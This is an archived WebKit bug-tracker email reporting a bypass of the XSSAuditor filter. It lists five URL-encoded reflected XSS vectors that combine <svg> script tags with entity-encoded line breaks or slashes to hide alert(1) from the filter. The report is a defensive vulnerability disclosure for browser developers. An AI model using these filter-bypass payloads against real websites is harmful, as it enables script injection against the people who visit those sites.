[Webkit-unassigned] [Bug 78836] New: XSSAuditor bypass with <svg> tags and html-entities.
bugzilla-daemon at webkit.org
bugzilla-daemon at webkit.org
Thu Feb 16 13:35:04 PST 2012
https://bugs.webkit.org/show_bug.cgi?id=78836
Summary: XSSAuditor bypass with <svg> tags and html-entities.
Product: WebKit
Version: 528+ (Nightly build)
Platform: Unspecified
OS/Version: Unspecified
Status: NEW
Severity: Normal
Priority: P2
Component: WebCore Misc.
AssignedTo: webkit-unassigned at lists.webkit.org
ReportedBy: tsepez at chromium.org
CC: abarth at webkit.org, dbates at webkit.org
Originally reported by masatokinugawa at http://code.google.com/p/chromium/issues/detail?id=114641
Reflected vectors are of the form:
?xss=%3Csvg%3E%3Cscript%3E//%26%23x0A%3Balert(1)%3C/script%3E
?xss=%3Csvg%3E%3Cscript%3E//%26%23x0D%3Balert(1)%3C/script%3E
?xss=%3Csvg%3E%3Cscript%3E//%26%23x2028%3Balert(1)%3C/script%3E
?xss=%3Csvg%3E%3Cscript%3E//%26%23x2029%3Balert(1)%3C/script%3E
?xss=%3Csvg%3E%3Cscript%3E/**%26%23x2F%3Balert(1)%3C/script%3E
SVG is XML and hence the entities get decoded during parsing.
--
Configure bugmail: https://bugs.webkit.org/userprefs.cgi?tab=email
------- You are receiving this mail because: -------
You are the assignee for the bug.
More information about the webkit-unassigned
mailing list